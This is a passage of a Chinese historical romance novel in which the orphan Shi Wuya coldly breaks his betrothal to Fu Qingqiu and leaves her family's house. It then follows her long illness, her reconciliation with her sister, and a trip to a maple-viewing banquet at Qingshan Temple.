这些年,付彰忙于政事,很少过问家事,将一切都交由韦氏打理,没承想竟然将师无涯放任成了这副桀骜散漫的样子。 如今看来,实在不堪是个良配。 师无涯并无嫡庶偏见,他如此顶撞付彰,只是恨付家背信弃义,用仁义道德将他高高架起。 若不是十二年的抚养之恩,师无涯早已掀桌走人。 自兄长过世后,他成了家中独子,师远唯恐师无涯早夭,悉心呵护,无微不至,时时命大夫把脉,又让其学武,只盼望他能平安康健。 天不遂人意,师无涯保住了,可师远却先一步离世,师家独留师无涯一人。 师家血脉单薄,师无涯亦无近亲好友,那时即使有人与师家沾亲带故,也不愿去抚养他,没人想要沾上孤煞的命运。 那时,只有付彰将他带回了付宅。 师无涯伤口绷出血痕,眸光逐渐晦暗,他这十二年,看着付家平步青云,在汴京风生水起,日后风光耀眼的付家,怎么会要一个无依无靠的孤儿做女婿。 当年恩义,不过如此。 “无涯,你何故如此说,你若喜欢清秋,自然是好事,可你这么多年,何曾说过?”付彰忍着一口气,语重心长,“清秋亦没说过非你不嫁,往日也只将你当作哥哥,你二人既无此意,婚约就如此罢了。” 师无涯眸光一冷,语气散漫道:“我自是配不上令嫒,伯父说得对,我和付清秋不过是因当年的一纸婚书绑在一起,自然是没有情意的。倒是辛苦伯父十二年的教养之恩,我师无涯这辈子永生难忘。” 他语调轻松,恣意随性的声音,在空寂的正厅里格外清晰。 付彰横眉怒目,拍桌起身,拿出长辈的架势,疾言厉色道:“你此话何意?这十二年,付家短过你衣食?又不曾薄待你,你如此说话,是陷我于不仁不义之地?” “你父亲当年从山寇手中救下我,此恩我用命偿都是使得的,你如此这般,是我未将你教养好,愧对你父亲!” 师无涯咬紧牙关,目光狠厉,双手不自觉地紧攥成拳,伤口绷出触目惊心的血痕,撕裂结痂的刀痕,灯烛飘摇不定,晃动颀长的墨色身影。 “别提我父亲!” 付彰以恩相胁,却从未真心教养他,何来脸面提他父亲。 师无涯不顾伤势,摔门而出,付彰望着师无涯的背影悲愤交加。 月华倾照,荷花池边碧波荡漾,隐没蝉声。 师无涯心烦意乱地扯断绢布,任由泊泊鲜血流出,他逐步往荷花亭去,寂寥无风的长夜,只一弯明月遥挂。 离荷花池最近的杏院,灯烛未歇,院中那棵青梅树枝桠萧条,毫无生气。 师无涯眸光平静,静静坐在荷花亭里,从怀中小心翼翼地取出针脚缭乱的平安符,绯色平安符上用金线绣着他的名字。 清风明月,星子闪烁,师无涯沉静地看着平安符,指腹来回摩挲着上头的字。 昔年旧景,一一盘旋在脑海中。 —— 付清秋醒来那日是一个明媚的午后,一家人都来她杏院看她,只是她尚未回过神来,心有余悸,不肯与人多说话。 韦氏瞧着她这副消沉的模样,心疼得紧,亦不敢多说,她命人将杏院里的花全都撤走,换回往日布局。 时至七月中旬,付清秋总算愿意与人交谈,韦氏每日守在她身边,与她说话。 这日午后,天清气爽,日光犹如碎金,浮浮沉沉。 杏院里难得平静,韦氏走后,付清秋拢了件薄衫,慢慢起身往外去,见院里的土翻新,便知付高越的花被摘走。 但她如今不太想去管什么花,她对什么都提不起兴趣。 只想一个人躲在房里。 碧空晴风,正值盛夏,付清秋不觉炎热,反倒让这热风吹得舒坦。 她已有大半个月未曾出门,绿柳正想服侍她梳妆,却见付清秋披着一头浓密乌发,环着膝盖,赤脚坐在檐下,痴痴地望着院门口,似在等什么,又似在发呆。 这些天付清秋总会想起保神观前,师无涯护着付清岁时的决绝与担心,又会想起保神观里,师无涯将她推出去只是为了换姐姐。 她是恨他的。 只这一桩事,就够她恨师无涯一辈子。 偏偏,不止这一件事。 烈日当空,金乌灼热,天清云淡,付清秋仰头望去,门前青梅树都枯死了。 刺眼的日光灼烧着她的双眸,眼泪簌簌滚落。 十二年,好漫长。 付清秋抿唇,环抱双膝,她细数这十二年,从杭州到汴京,师无涯似乎从未主动为她做过什么,只有她在苦苦追寻他的背影。 那道颀长宽阔的墨色背影,正在走出她的视线,从杭州旧宅的初见逐渐消失。 杭州旧宅里的那棵青梅树或许也枯死了。 十二年痴情,换得一身负累。 绿柳见付清秋坐在门前,赶忙放下手中点心,忧道:“姑娘这是作甚,快些进屋去,外头热。” 付清秋摇头不肯进屋,绿柳取来蒲扇,劝道:“姑娘这是何必呢,夫人叮嘱过千万要照看好姑娘。” 付清秋仍旧不说话,杏眼盈泪,良久,她开口。 “无涯哥哥来看过吗?” 绿柳心焦蹙眉,不敢去看付清秋期许的目光。 “我知道他不会来的,我也不会再盼着她来了。”付清秋释然,“他连一句道歉的话都不愿对我说,想来也不会有什么别的话了。” 她知道的,知道师无涯不会再来了。 付清秋暗暗垂眸,道:“绿柳,待会我们去看看姐姐罢,她也受了惊,肯定吓坏了。” 绿柳愁道:“姑娘待到好些了再去罢,何苦折腾。” “罢了,那不去了。”付清秋起身回屋,绿柳正欲跟进去,却被她挡在门外。 绿柳知她心绪不佳,不好跟进去,便将糕点拿回灶房。 房内燃着安神香,雾气袅袅,冰鉴之中的冰块先前绿柳换了一轮,这会她觉得有些冷,起身去支开花窗,一时间热浪携风吹来。 付清秋眸光一转,忽地看见书架与墙隙之间有一纸印花笺,正要去捡时,云露匆匆而来,急急叩门。 “姑娘!姑娘!” 云露扬声喊着,全然不顾她是否醒着,但她如此着急,付清秋心中有疑,忙回身开口问。 “作甚?” 云露候在门前,喘匀了气,急道:“师郎君要从付家搬出去了,这会正和夫人大人说这事,连同大朗君和二郎君都在正厅里说这事。” 闻言,她三步并作两步至门前,柳眉紧蹙,问道:“他为何要搬出去?” 云露深吸口气,正欲开口,忽见绿柳从院外来,绿柳看二人正说话,上前问:“发生了什么事,姑娘怎么又出来了。” “绿柳,你瞒着我。” 付清秋忽地推开门,目光冷厉地望向绿柳,只这一眼,唬得绿柳心内惊惧。 绿柳早知此事,但她不愿再让付清秋因师无涯伤神,保神观一事,绿柳已然将师无涯看清。 那样的薄情的人,配不上一心赤忱的姑娘。 付清秋心里明白师无涯将来如何,已经与她无关,可这偌大的汴京,师无涯又能去哪儿。 他留在付家,至少有个栖身之所。 思及此,付清秋顾不上梳洗换衣,转头赤脚狂奔,穿过光影明灭的曲折回廊,她跑得越来越快,热浪灌进口鼻,仿佛这样就能追上逐渐消失的那个背影。 她不该为他这么着急,她没有理由再为他担心。 十二年的朝夕相伴,付清秋知道师无涯在这汴京犹如池中浮萍,根本无处可去。 天边霞光四散,庭中松柏恒恒长青,耳畔尽是呼啸而过的风声,凌乱长发披散在身后,随风漾起墨色长河。 云露和绿柳跟在付清秋身后,绿柳小声嗔怪道:“你为何要告诉姑娘这些。” “姑娘的病才刚好,你要让她在神魂失守你就安心了吗?” 云露低眉垂首,顿生愧疚,她哪里想得这么多,不过是因为付清秋在意师无涯,她才来通禀,更何况往日绿柳也曾为师无涯说话。 付清秋慢下步子,一步一顿,绿柳见她脚背上泥渍血痕混杂,心疼得直蹙眉。 绿柳道:“姑娘何苦呢。” 付清秋泪眼朦胧,她停在正厅门前,堂前韦氏和付彰端坐上首,付高越与付远衡分坐,师无涯一袭绀色长袍云纹劲装,以缨高束墨发,一身干净利索,一如当年他身无一物来到付家。 如今他也要这样离开付家了。 “师无涯。” 付清秋鼻尖一酸,狼狈又可怜地出现在正堂,师无涯愕然回首,目光游移。 20-30 第21章 “师无涯,我不喜欢你了。”…… 月光皎暇, 银辉遍地,凉薄夜风吹动柏叶,风声萧索寒凉, 裹着淡淡的土腥气。 正堂里的几支灯烛明灭扑朔, 映照着堂外单薄纤弱的身影, 这几个月以来,付清秋频繁生病,神思衰竭, 如今她站在门口,犹如春日残柳, 一吹就倒, 无枝可依。 疾风乍起,她长发及腰,被风翩翩吹起, 一双红肿泪眼,无助可怜地望向师无涯。 韦氏骤然一惊, 滚烫的茶水打泼在身上,打碎了建窑兔毫盏,李妈妈皱眉道:“夫人当心。” 付高越急急起身, 朝她频频使眼色, “你做什么!你病好了吗,就跑出来,快回去!” “清秋!平日里的学的闺阁礼仪去哪儿了, 你母亲就是这样教你的?”付彰指着她,愤然道:“我平日对你是不是太过纵容!让你在这个家里无法无天。” 付远衡长眉深蹙,厉声道:“清秋,你来见客作甚, 快回去,衣衫不整,全然不顾自己的名声了?” 李妈妈见势上前去拉住付清秋,低声劝道:“二姑娘,这会子不便见人,快些回去,晚些时候再来罢。” 师无涯从容坦然地看着她凌乱无措的模样,他蓦然哼笑出声。 “付二姑娘,你真可怜。” 付清秋固然知道她此刻有多狼狈,但这些都不重要,她不管不顾地甩开李妈妈的手,忍着痛走到师无涯身前,仰头问他。 “师无涯,你还有家吗?” 她像从前一样,去窥探师无涯眼底的情绪,还是什么都没有。 可今日,她总觉得师无涯是松快高兴的。 师无涯往后退,唇边含笑,俯身在她耳边,低声道:“付清秋,你为何跳金明池?” “我知道。” 他说话的声音如此轻,却让付清秋心口一窒,顿感惊诧。 师无涯懒懒地直起身,眉眼带笑,轻轻挑眉,戏谑道:“付二姑娘,你赖上我了不成?” “师无涯你诨说什么!你怎可如此诋毁清秋的名声。”韦氏怒从中来,指着师无涯道,“清秋何须赖着你,你也不瞧瞧——” 李妈妈忙喊了韦氏一声,韦氏止住话头,哼了声。 付彰眼见场面混乱正要出声,却听付远衡平声静气地道:“无涯,有话便坐下来好好说。” “是啊,师郎君先坐下罢。”李妈妈笑着打圆场,却见韦氏一个眼神过来,便知是要人退出去。 李妈妈将堂外的女使婆子支走,她也只守在门外。 付清秋长舒几口气,轻声道:“师无涯,我不赖着你,你喜欢姐姐,我愿意退婚,你留下来罢。” 付远衡凝神看付清秋,无视她的话,凛然对师无涯道:“无涯,你若要搬出付家,我们自然不会拦着你,可若要论婚约之事,还请你说个清楚。” 付清秋在等师无涯给她一个答案,她可以不再追着他,可以放手把他让给姐姐。 师无涯没有家了。 这是付清秋自小便知道的,即使师无涯不喜欢她,她也不愿见他无家可归,纵使那个家不是她。 付清秋虽如此想,却从未和他提过。 师无涯眼中毫无波澜,漫上些许嘲讽,好似在说“付清秋,只有你有家吗。” “付二姑娘,这婚我自然是要退的。”师无涯不紧不慢地道,“大哥也莫急,总得将事情说清楚不是?” 付清秋腹背生寒,身心俱疲,她不明白师无涯究竟要做什么。 师无涯从怀中拿出当年在杭州时纳彩的草贴,时过境迁,十二年过去,那一封文书仍旧完好无缺,胜过昨日新纸。 付彰见那帖子,眼前一亮,师无涯既拿出了草贴,自然也会交换青玉镯,这样总算是了却了心头大事。 韦氏见此气消了一半,直盯着那草贴。 付高越面色凝重,“你——”话还未说完,付高越摆摆头,上前去扶着付清秋,这一扶才叫他知道,这个妹妹身子骨有多单薄,心中不自觉地担忧起来。 前些日子才受了惊,如今又要眼看着喜欢的人退婚。 付清秋望着他,不着一言,她没有话说了,师无涯把她的话全都打了回去,退婚也是迟早的事,她早就想通了。 只是当真见到这幕,还是会恍然。 追着跑十二年的人,一下子,就不是她的未婚夫了。 这十二年算什么,如果不喜欢她,为什么要白白让她等十二年。 付清秋声泪俱下,抬手就要去抓打他,“师无涯,我恨你,我恨你,我恨你——” “清秋,清秋冷静些。” 付高越心疼地扶着她,他拦下妹妹起伏的动作,她一动起来更是像风一般轻。 师无涯垂眸看她,眸光冷冽,漠然道:“付二姑娘,我很早之前就说过,我不喜欢你,你我之间就如同这草贴。” 师无涯当着她的面撕了草贴,草贴撕扯的声音,嘶啦嘶啦地划过耳畔,如钝刀磨肉,凌迟着付清秋。 付高越横眉道:“师无涯,你作甚!何故当着清秋的面做这事。” 付远衡出声,冷声道:“行了,无涯你既已决心离开,便去收拾罢,明日一早便离开付家。” “自然,付家我一刻都不愿多留。”师无涯昂首,信步往外去, 付清秋挣扎开付高越的桎梏,韦氏看她哭得梨花带雨,那声音撕心裂肺,付清秋自幼养在她身边,韦氏何曾让她这般哭过,急忙上前去。 “听阿娘说,清秋。” 付清秋一个劲地摇头,什么话都听不进。 韦氏抱住瘦弱的女儿,怜爱道:“清秋,阿娘明日让人在院子,种满满院子的花,你日后想做什么,想穿什么我都依你,快别哭了,你才病好,为娘心疼。” 付清秋仍旧摇头,眼前只一片朦胧,水气氤氲,师无涯远走越远。 “付清秋,你就这点志气?人家要退婚,你哭什么,汴京里那个郎君不比师无涯好。”付远衡厉声呵斥,“你这一辈子难道就要守着他过日子不成?” 付高越听他这话直给他使眼色,付远衡只装没瞧见,他就是要让付清秋明白这个道理。 晚来风急,银辉弯月。 韦氏卸了力,付清秋如弦上箭,一朝待发,挣开了韦氏的手,三两步奔了出去。 “清秋!” 几人急急出声,李妈妈本守在门外,却见一道绿影从眼前掠过。 付清秋裙角勾勒出轻浅月光,发丝凌乱,月下狂奔,她记不起这是第几次为了师无涯不管不顾地奔走。 幸而,师无涯走得不快。 荷花池边,付清秋加快步子,尽管此刻她已力竭,却仍想抓住师无涯。 师无涯闻声回头,却见付清秋追他而来。 “你要作甚。”师无涯横眉,“方才我的话你没听明白?” 付清秋摇头,痛声道:“我听明白了,我只是想知道日后,日后你要去哪儿,还回来吗?” 师无涯漠然道:“与你无关。” “那,我要回我的东西可以吗?”付清秋仰头看他,月光清亮,照在他身上多了几分静谧。 “什么。” “我送你的平安符,还我罢。” 此时深静,能听得见池水被风吹荡的声音,付清秋能听见自己颤颤巍巍地心跳声。 那是很久以前的平安符了,其实她快忘了,快忘了。 师无涯从怀中取出平安符,拈在指尖赏玩,满不在乎地问:“是这个东西?” 付清秋颔首。 师无涯不甚在意,“本也是打算还给你的,付家的东西,我本就不喜欢。” “还你。” 付清秋迟迟未伸手去接,师无涯眸光忽沉,见付清秋不接,顿时冷下脸来。 “我不要了。”付清秋忽地出声。 “随你。”师无涯收回手,把玩着那平安符,“既然你不要了,我留着也无用,扔了罢。” 话落,师无涯往池边去,顺手扔了出去,平安符从付清秋眼前划过,没有任何犹豫,付清秋奔向荷花池。 恰此时,付家人都赶到荷花池边。 付高越眼尖,看见此幕心头大震,扬声大喊:“不要!” 韦氏早哭得上气不接下气,这会心力交瘁,满面愁容,付远衡半扶着韦氏,见付清秋如此,心下惊惧。 月光凄凉,风声凄凄。 师无涯纵身上前拦腰抱下付清秋,她看着平安符沉下去,一点点再也看不见一点踪迹,池水倒映着她慌乱,披头散发的狼狈模样。 忽然,池面上起了无数圈涟漪。 下雨了。 付清秋大喘着气,一口郁气始终卡在喉咙,上不上下不下。 师无涯厌恶道:“付二姑娘,这副样子是要做什么,不是你不要的吗。” 付清秋眼酸心乏,撑着一口气,冷道:“师无涯,我情愿从未认识你。” 韦氏上前抱住付清秋,付高越怕她想不开,拦在她身边,紧紧叩着她的手。 “乖乖,我的乖乖,别吓阿娘。”付清秋泪流不止,与师无涯对视之时,险些睁不开眼。 付清秋泣道:“师无涯,我从未有过一丝一毫的对不起你,从小到大我对你比任何人都好,你喜欢姐姐,我就去讨好姐姐,我比任何人都在乎你,不过是我错了,你从来就不在意我,我的生死,在你眼里什么都不是。” “十二年,师无涯,是你辜负了我。” 师无涯眼睫低垂,看她声嘶力竭的哭诉,而他只是淡漠疏离地看着她。 月色轻浅,付清秋不再探究他眼底的情绪。 “随你。”师无涯淡声道。 语毕,付清岁闻讯匆匆赶来,风卷夜雨,师无涯肃穆垂眸,而付清秋泣声犹如杜鹃啼血,一声声划破无边雨夜。 付清岁遥遥对视一眼,师无涯便转身离开。 付清秋这回挣不开几人的桎梏,雨水打在脸上,落在生涩的眼里,唇齿相摩,朝他喊道。 “师无涯,这辈子,我都不会原谅你。” —— 雨如跳珠,满池荷花歪斜,风雨惹人身冷。 付清岁缓步上前,将伞递给韦氏,付清秋仍在雨幕中挣扎,付高越紧紧锁着她的手。 付宅里人人都知道付清秋性子拧,但却不知,拧到了如此地步。 此刻的她,形同疯妇,她才及笄之年,不过十五而已。 这夜风雨不休,付清秋不肯离开,付高越情急之下敲晕她,背着她往杏院去。 付清岁跟在末尾,忽地一声,似乎有什么坠入水中溅起水花,她走得慢,回头遥遥望了一眼。 满池荷花摇曳,雨丝空蒙,池水荡开涟漪。 冬盈以手挡雨,眯着眼望向那边,催促道:“姑娘快回去,雨越来越大了。” 是他。 付清岁颔首,漫步去杏院,杏院此刻正忙,女使婆子接二连三的打水出来,付清岁在廊下等候。 绿柳瞧见,道:“大姑娘,换身衣裳罢。” 付清岁婉言相拒,绿柳便不再问,忙往屋里去。 这夜过后,付清秋思绪尽散,脑海中有一丝朦胧的日光,寻着那一束光,她从黑暗之中,见到了杭州小院里的青梅树。 杭州风情依旧,青梅树下的秋千仍在随风晃荡。 付清秋往秋千那去,只刚坐下,身后便有人来,斜阳照影,但看那影子她便知是谁。 “师无涯。” 师无涯微怔,轻声问:“你怎么这样叫我,我可是惹你生气了?” 付清秋垂眼,泪水淌落,师无涯手上一顿,快步到她身前,蹲下身仰头看她眼里含泪。 师无涯满目心疼,眉头自然而然地蹙起,“是我做的不好了,还是这绳子磨手,清秋,别不理我。” “你哭了,一定是我做得不好。”师无涯眸光轻颤,慌张道。 付清秋摇摇头,抿开苦涩的笑,屏息凝神地看他,师无涯动作轻柔地替她擦去眼角余泪。 “为何不说话?” 付清秋眸光流转,盈盈泪眼,见她如此师无涯跟着流泪,他又问:“是不是我做得不好了,清秋,不要不说话。” “清秋。” “师无涯。” 霞光碎金,满院春色,师无涯半跪在她身前,她比谁都清楚这是假的。 或许她一动,这场镜花水月就空了。 可眼前的师无涯,满腔柔情,只怕她生气不说话。 “师无涯,我不喜欢你了。” 付清秋淡声说着,垂眸认真地看他着急失措的模样,师无涯何曾这样对过她。 他不是真的师无涯,而这句话却是师无涯说的。 “清秋。” “清秋。” 无数道声音重叠在一起,师无涯的,付清岁的,韦氏和哥哥们的声音,萦绕在耳边。 这场镜花水月的梦,被搅散了。 师无涯在她眼前碎裂,伴随着天翻地覆的坍塌,满园春色霎时凋零,只剩荒凉破屋。 付清秋清楚的听到付高越的声音,也有韦氏的哭声,就在耳边,就在她身边,但她好像醒不来。 身子很重,思绪被拢在一方天地,越想挣脱越无法抽离。 付清秋醒来那日,付高越和韦氏守在她身边,只一点动静,付高越便惊醒,他眼周乌青,又是哭又是彻夜不眠,比他落榜那日还难看。 “清秋,你醒了。” 付高越嗓音沙哑,望着醒来的妹妹,眼底漫出欣喜。 韦氏闻声,睁眼便见到付清秋醒了,嘴里念了好几次“阿弥陀佛”。 付清秋望着两人,鼻尖一酸,泪止不住地流,付高越忙道:“快别哭了,别哭了,不好看了。” 见她如此,韦氏哪里忍得住,跟着哭了起来。 “阿娘,只怕你有个好歹,你要我如何活?” 付清秋正欲开口,却发觉无法发声,喉间闷涩肿胀,她试着说话,寂然无声。 付高越道:“清秋,还是不舒服么,我去倒茶来。” 付清秋讷讷地点头,韦氏搂着她一个劲地哭,翻来覆去便是说她当年怀她的艰辛。 她醒来时,师无涯已从付家搬出去,退还了青玉镯,临走前,他曾说此后与付家再无关系。 付彰和付远衡好声好气地送师无涯离开,只盼着他走得远远的,永生永世不要出现在付清秋面前。 师无涯离开付家,未曾带走任何东西,孤身离开,此后他在汴京销声匿迹,繁荣热闹的汴京城,少了一个无关紧要的人,自然无人在意。 他走的痛快,徒留付清秋日渐消瘦。 那日过后付清秋整日消沉,久病不愈,眼看着就要入秋,她的病仍旧不好,大夫来瞧过只道是忧思过度,郁气不散,加之寒气入体,还需静静调养。 韦氏每日过来陪她,就连付彰来后院的日子也多了起来。 人人都盼着她好起来,付清岁日日守在付清秋身边,自她醒来,仍旧不言语,偶尔轻笑,韦氏见她如此更是钻心的疼。 当初她若知晓,付清秋会遭这个罪,定然不要师无涯退婚。 韦氏虽这样想,却又庆幸将来付清秋能另觅良人。 这夜,付清岁守在杏院,灯烛昏暗,付清秋侧身看付清岁支手扶额,在美人榻上浅睡。 “姐姐。” 付清秋轻呼出声,极其微弱地声音,比那烛光飘摇的声音还轻。 但付清岁听见了,她缓缓睁开眼,看付清秋正静静地盯着她。 “你醒了,饿不饿,喝点水润润嗓,明日母亲知道了定然高兴。”付清岁起身去倒水,付清秋眸光平静,支起身靠在床沿。 付清秋抿了口茶,抬眸见付清岁憔悴,便知这几日她一直在守着。 “姐姐,对不起。”付清秋声若蚊蝇,失神落魄地看手中茶盏。 是她逼走了师无涯,断送了师无涯和她的亲事。 付清岁抿唇笑道:“你怎么对不起我?快些好起来,就算对得起我了,清秋,别多想了。” “姐姐,对不起,我不该这么任性。”付清秋低声啜泣,泪水滴进茶水,付清岁忙接过茶盏,抱住付清秋温声细语地哄她。 万籁俱寂,窗外清辉冷然,菱花窗上树影摇晃。 付清秋恍然明白,她这一生都比不上姐姐。 从前她总揣度付清岁,虽拿她当姐姐,却处处呛她,如今她重病在床,付清岁仍守在她身边。 不管有没有师无涯,姐姐永远是姐姐。 付清秋攥着付清岁的手痛哭,这些天她总强撑着笑,只怕韦氏和哥哥们担心,如今在付清岁面前逐渐卸下心防。 付清岁轻抚她的背,柔声细语,极尽温柔。 良久,付清秋哭累了,猫在她的怀里睡了过去,付清岁命绿柳服侍她睡下。 秋日夜色凉薄如水,房内烛火明灭,付清岁仍守在一旁,见她睡得安稳,蓦地松了口气。 付清秋自小散漫,韦氏疼她,恨不能以金屋筑之,唯恐这个小女儿受伤,而付清秋自然受挫极少,她想要的,韦氏想方设法地要为她寻来。 可付清秋从小至大也未曾求过什么黄金珠宝,唯独对师无涯百依百顺,她只想要自己的未婚夫。 付清岁神色怅惘,世间的事就是如此,要求的求不得,不求的纷至沓来。 付清秋为了师无涯不顾一切,而师无涯亦为了她远走他乡,一个固执倔强,一个偏执高傲。 当真是一对良配。 该说对不起的是我,清秋。付清岁掖好被角,轻轻掸开她的鬓发。 自古逢秋多寂寥,付清秋本在病中,韦氏担心她心思郁结,便请大夫日日来看。 大夫只道静养,每日多走动,写了方子交给绿柳,付清秋这些时日病好了许多,愿意多走走,韦氏时时来看她,陪她说话,糕点补品不断。 在杏院待得最多还是付清岁,付清秋依赖她,病着的时间里,常常要见着她才觉心安。 付清岁本也无事,便长宿在杏院,付清秋日渐好转,白日里无事,付清岁就取书来陪她解闷,闲时月下对弈。 原先那些她不甚喜欢的东西,竟然这般有趣。 时至深秋万山红遍,万物枯寂,城外枫林满地。 是夜,付清秋正对月遥望,不知在想些什么,付清岁款款而来。 “姐姐,我们去城外看枫叶罢。”付清秋道。 付清岁笑道:“你怎么知道国公夫人要办枫林宴。” 付清秋想也是,汴京城内达官贵人最爱赏景,漫山遍野的红枫,怎么会没有夫人做东办宴席。 “昨日我们的棋局还在,快来。”付清岁坐到凉亭下。 付清秋闻声回首,秋日渐凉,她披着碧色披风,缓步走至亭下,垂眸看那棋局,幽幽叹气。 “我何时才能下得赢姐姐。” 付清岁轻笑,道:“我瞧着就快了,枫林宴我们一道去罢,盛家三姑娘递了很久帖子了,母亲都回拒了。她是担心你的,自保神观——” “也是,许久没见盛姐姐,我自然是要去的。”付清秋眸光渐沉,执棋久久未落。 师无涯已离开付家两个月,付清秋再没听人提起过他。 一夕之间,师无涯仿佛从未来过付家,就这样无声无息地消失在汴京。 这几日付清岁不再守在她身边,付清秋待她走后独自坐在亭下,秋日风凉,云露和绿柳陪在一边,总还是觉得自家姑娘还未能走出来。 —— 十一月末,秋色飞霞,红枫零落,城外青山寺王国公夫人陈氏设宴,汴京城内达官贵人应邀而来。 付清秋随付清岁一道,付高越和付远衡紧随其后,临到山脚下,马车已不能再行,不少马车挡在山道。 山道枯木横斜曲折,碾碎一地枯枝落叶。 秋高气爽,付清秋掀帘往外去看,见付清岁探路归来,便问:“前面如何了?” 付清岁泱泱摇头,道:“马车拥堵,吕大人家的马车卡住,这会正忙着抽出来。我看满山红枫枯叶,不如走着上山去?” 绿柳忧道:“山路难走,姑娘身子刚好还是待着,待会便好了。” 云露不以为意,望着帘外远山近景,“姑娘本就是出来散心的,绿柳姐姐你便让姑娘去罢,再说这一条路都有侍卫护着又不会有山贼,姑娘若是累了,便搭一辆马车上山不就好了。” 语罢,绿柳仍旧紧蹙着眉。 “云露说得在理,绿柳我正想四处散散心。”付清秋抿唇一笑,眉眼之间隐着一丝病后的愁绪。 付清岁扶她下来,往山上去时,已有不少郎君贵女闺秀闲庭漫步。 山色寂寥,云淡风轻,金绣罗裙添一抹颜色。 年青郎君与至交好友结伴而行,闺阁少女们簪花绾发,含羞掩笑,竟比金明池满城春色更为动人。 付清秋与京中贵女并不相熟,唯一的好友便是盛婼。 只是盛婼家中杂事甚多,偶尔在宴席上遇见,也说不了几句话。 付清岁挽着付清秋,见她神色郁沉,因问:“可是身子不适?” 付清秋摇头,静静道:“没有,只是在看满山枫叶,失了神。” “这倒也是,自你病了之后便没再出过门,这城外的枫叶极美,怪不得国公夫人要选在这儿。”付清岁道。 一路往山上去,马车终于动了,车轮碾过枯枝败叶,吱呀作响。 来赴枫林宴的,必是高官贵妇,付清秋微微侧目,余光瞥向从旁而过的华贵精巧的马车,一辆接着一辆往前去。 秋风萧索,吹满遍地红枫,犹如枯叶蝶翩翩飞舞。 马车的幕帘被吹开,付清秋眸光流转,与马车内的白袍青年视线相撞,马车内熏着淡淡的合香,风一吹便溢了出来。 那个人她好像见过。 只一瞬,幕帘合上,付清秋回过神来,思索曾在哪见过他,少年穿着简朴,眉眼之间却竟是贵气儒雅。 “付二!” 未等她记起来,身后有人扬声喊道。 付清秋循声回头,不必想也知是谁,放眼整个汴京,只有盛婼会如此叫她。 盛婼从马车中探头,少女眉目张扬,身着桃红缕金牡丹长衫,下着百褶裙梳着同心髻,未曾簪花,只以素钗银簪做饰。 付清秋瞧出些许不对劲,笑问:“你是不是有喜欢的郎君了。” 付清岁掩唇低笑,盛婼臊得脸红,轻推付清秋,佯装生气,“付二,这么久不见,合着是去学了些嘴皮子功夫专来打趣我?” 付清秋稳了稳身子,挑眉道:“我可没有,是盛姐姐心里有鬼呢。” 盛婼看付清岁在一旁,并不多说,调转话头。 “你这几个月是去做什么了?我是为了跑断了腿,谁家的宴我都要去瞧瞧,看你是不是躲我。”盛婼忽地想起保神观的事,心中忧道。 “我听闻你病了,我出不了门,不能来看你,原以为并没有大事,谁知你竟好几个月不出门,现在可好些了?” 付清岁听盛婼如此问,不觉蹙起了眉,保神观一事不不过是个引子,真正的病因却是师无涯。 如今再说起这些,无异于是再提起师无涯。 付清秋微怔,旋即轻笑道:“好多了,盛姐姐今日可真是漂亮。” “行了行了,付二你别蒙我了,我有些悄悄话要与你说。”盛婼拉过付清秋,付清岁见此便与冬盈先行一步。 盛婼牵过付清秋的手,两人慢腾腾地往青山寺去。 “说说保神观里的事,我知道里头肯定还有别的事,比如那个师,什么?付高越都同我说了,说他原是杭州通判的幼子,若是如此配你倒也是门当户对,如今杭州通判是我姑姑的儿子。” 当日在保神观,付高越撵上了她,非要说彼此有什么误会,盛婼本不想跟着张小娘子,便拉着付高越去了州桥。 正是此举,才叫她躲过了保神观的事,盛婼闻说保神观出事,本要去寻付清秋,却被付高越拦下。 “你拦我作甚,我告诉你,我表兄可是武将,我是学过武的!”回想当日,盛婼那时盛气凌人,一心要回保神观。 付高越半哄半劝,“我自然晓得广威将军的厉害,可万一那贼人人多势众伤着你了如何办,我如何向何御史交代?” 盛婼哼声,心知付高越说得在理,毕竟她要是死了,张小娘子和盛婵必然得意,必不会遂了她们的愿。 “知道了,何须你交代,我回去就是了。”盛婼甩手离开,红菱匆匆赔礼。 付清秋听盛婼提起付高越,便将师无涯的事绕了过去,她不想再提,也不愿去想。 “原来二哥哥那日是去寻你了,你们莫不是背着我——” 付清秋狡黠一笑,盛婼慌乱地去捂她的嘴。 红菱与云露偷笑,绿柳虽想笑,却又怕盛婼介意,只轻扬嘴角 青山寺内小僧在寺前等候今日上山的达官贵人,一高一矮的两小和尚候在寺前,瞧着枫林幽静,似已无人。 “走罢,没人再来了。”高和尚说。 矮和尚蹦起来,“瞧着是没人了,国公夫人设宴,苦得我们守门。” 听他抱怨,高和尚敲打他,“莫要胡言乱语,当心将你撵出去。” 矮和尚瘪瘪嘴,二人正要回大殿,却听一阵枯枝碎叶声,循声回头。 只见两位年轻娘子并三个女使款款而来,高和尚半眯着眼笑,端的是高僧姿态,矮和尚随之躬身。 “小师父,带我们去客堂歇歇,她近来病了身子不好。”盛婼挽着付清秋,付清秋抿唇轻笑。 高和尚略微打量了付清秋,确如盛婼所言,身轻气浮。 “元智,可还有多的客堂?” 元智为难道:“今日国公夫人设宴,寮房多已有人住了,几个娘子住一间都是有的,就连方丈都腾出禅房了,哪还有多的客堂。” 盛婼道:“我们便是应邀来的,只是能否单腾一间来,她若是同别人住,少不得要让别人过了病气,到那时可不好,万一怪罪下来,可不好说。” 青山寺原是一座废寺,早些年王国公来此,见此地荒凉,却又正值深秋,入目即是满山枫林,可与春日芳菲相比。 遂将其重新修缮,每年由国公府供其香火。 文人士大夫闻说此盛景,纷纷来往,故而青山寺多文人墨客,亦有备考的举子。 元智听盛婼这话说得厉害,心里拿不定主意,只拿眼神觑元圣。 元圣倒不慌,慢慢道:“施主既是夫人的贵客,我便同元智去问一问可有施主愿意腾出客堂来。” 元智一听,蹙着眉跟元圣进寺。 “哪里还有多的客堂,这不是为难人嘛,师兄,今日贵客如此多,难道就要为着那个体虚的小娘子寻一间客堂?再说了,既是国公夫人的客人,那必然是大家闺秀,哪有上来就为难人的。” 元智小声嘟囔,元圣没理他,一间一间地去问。 瞧着都不愿腾出来,元圣正欲敲下一间,元智忙拉住元圣的手往外去。 “师兄,你疯了?那是小公子的客堂,国公夫人早早的就说了要备下的。”元智蹙眉道,“师兄,给那小娘子换一间罢,或是将我们的客堂腾出来,供那小娘子住? 元智实在想不出别的法子,又怕得罪了人。 元圣思忖良久,觉得元智说得有几分道理,二人正欲离开,有人推开房门,出声唤他二人。 元圣元智回头望去,却见那人白衣胜雪,长身玉立。 “施主,叨扰了。”两人齐声道。 他摇头,谦逊颔首还礼,“并未,只是方才听小师父在说换客堂的事,可否细说。” 